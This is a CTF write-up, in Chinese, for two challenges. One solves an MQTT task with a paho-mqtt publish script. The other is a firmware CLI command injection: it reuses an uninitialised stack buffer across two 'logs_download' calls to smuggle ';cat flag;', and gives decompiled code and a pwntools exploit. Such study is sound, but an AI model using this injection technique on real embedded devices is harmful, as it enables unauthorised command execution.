tqmm
Mqtt 协议题目,看公布靶机端口只有 9999 ,没有 mqtt 服务的默认端口 1883 ,扫了一下实际上 1883 也是开的。nc 链接上去输出提示,但是 topic 显示为空,一开始摸不着头脑。
尝试了接收 2022/hatlab/flag、2022/hatlab/getflag 等等操作。看到 publish me 感觉还是发布订阅主题,message 确定是:oiU7m9ipyqFdzkUFb1vfkabZ7IqiAefslrc3ovql2dA =。但是 topic 和 subscribe 是什么在来回折腾,最后试出来了应该是发布一个 topic 为 2022/hatlab/flag ,message 为 oiU7m9ipyqFdzkUFb1vfkabZ7IqiAefslrc3ovql2dA= 。
EXP
mosquitto 用不来,找了个 python 脚本发布:
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| import paho.mqtt.client as mqtt HOST = "114.5.12.26" PORT = 1883 def test(): client = mqtt.Client() client.connect(HOST, PORT, 30) client.publish("2022/hatlab/flag","oiU7m9ipyqFdzkUFb1vfkabZ7IqiAefslrc3ovql2dA=",2) client.loop_forever() if __name__ == '__main__': test()
|
XH-Link
binwalk 解压缩之后根目录下有一个 cli ,通过 xinetd.conf 可以知道维持运行的就是这个 cli ,或者可以找找 root 下内动没有可以运行程序,都是 busybox ld 出来的指令,分析入口就是 cli 。
cli 类似于传统 pwn 题目,通过命令行交互,提供了几个功能。Hint:与栈溢出无关、可以反弹 shell 。那么目标就锁定在调用 system、pope 容易 RCE 的地方。经过分析,sub_10C5C 这个函数就是统一进行系统调用的函数。
需要执行的命令由 sub_116B4 接收和过滤非法字符,能够让命令并行执行的符号都被过滤。虽然换行符没有被过滤,但是输入换行符之后会结束输入,无法写入第二题命令。
输入字符串中函数非法字符串会返回 -1 并退出。但是在 download_logs 输入 ip 时,并没有相关的 if 判断
也就是输入非法字符串依然会运行,但字符串会在非法字符串处被截断,即无法输入第二条命令。但是存储 ip address 的 v3 是没有初始化的:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56
| int sub_11344() { int v0; char v2[8]; char v3[32]; char v4[4096]; struct stat stat_buf; char haystack[104];
printf("Enter the log filename: > "); if ( sub_116B4((int)haystack, 100u) == 1 ) { if ( strstr(haystack, "../") || strstr(haystack, "flag") ) { v0 = -2; } else { memset(v4, 0, sizeof(v4)); if ( sub_11AB4("/var/log/cli_logs", &stat_buf) == -1 ) { puts("Log file no found!"); v0 = -1; } else if ( sub_110A4("/var/log/cli_logs", v4, stat_buf.st_size) == -1 ) { sub_10EB0("Log file no found!"); v0 = -1; } else if ( sub_11180("/tmp/logs.txt", v4, stat_buf.st_size) ) { sub_10EB0("Log file is empty!"); v0 = -1; } else { printf("Enter a remote ip address: > "); sub_116B4((int)v3, 30u); puts("Starting download..."); sprintf(v2, "tftp -p -l %s -r %s %s", "/tmp/logs.txt", "/tmp/logs.txt", v3); v0 = sub_10C5C(v2); if ( v0 != 1 ) { sub_10EB0("System error!"); v0 = -1; } } } } else { sub_10EB0("Filename is illegal!"); v0 = -2; } return v0; }
|
如果连续两次调用 download_logs v3 会被分配同一个栈地址,就能通过两次写入将第二条命令写进去
1 2 3
| first :aaaaaaacat flag; second :aaaaaa; finally :aaaaaa;cat flag;
|
导致最后执行命令变成:ping aaaaaa;cat flag;
EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| from pwn import * import sys context.binary = "./cli" context.log_level = "debug"
if sys.argv[1] == "r": p = remote("114.5.12.24", 9999) elif sys.argv[1] == "l": p = process(["./qemu-arm-static", "-L", "/usr/arm-linux-gnueabi", "./cli"]) else: p = process(["./qemu-arm-static", "-g", "1234", "-L", "/usr/arm-linux-gnueabi", "./cli"])
p.sendlineafter(">","diagnose") p.sendlineafter("> ","`")
p.sendlineafter(">","logs_download") p.sendlineafter("filename: > ","/var/log/cli_logs") p.sendlineafter(">","/var/log/cat flag")
p.sendlineafter(">","logs_download") p.sendlineafter("filename: > ","/var/log/cli_logs") p.sendlineafter(">","cat flag;")
p.interactive()
|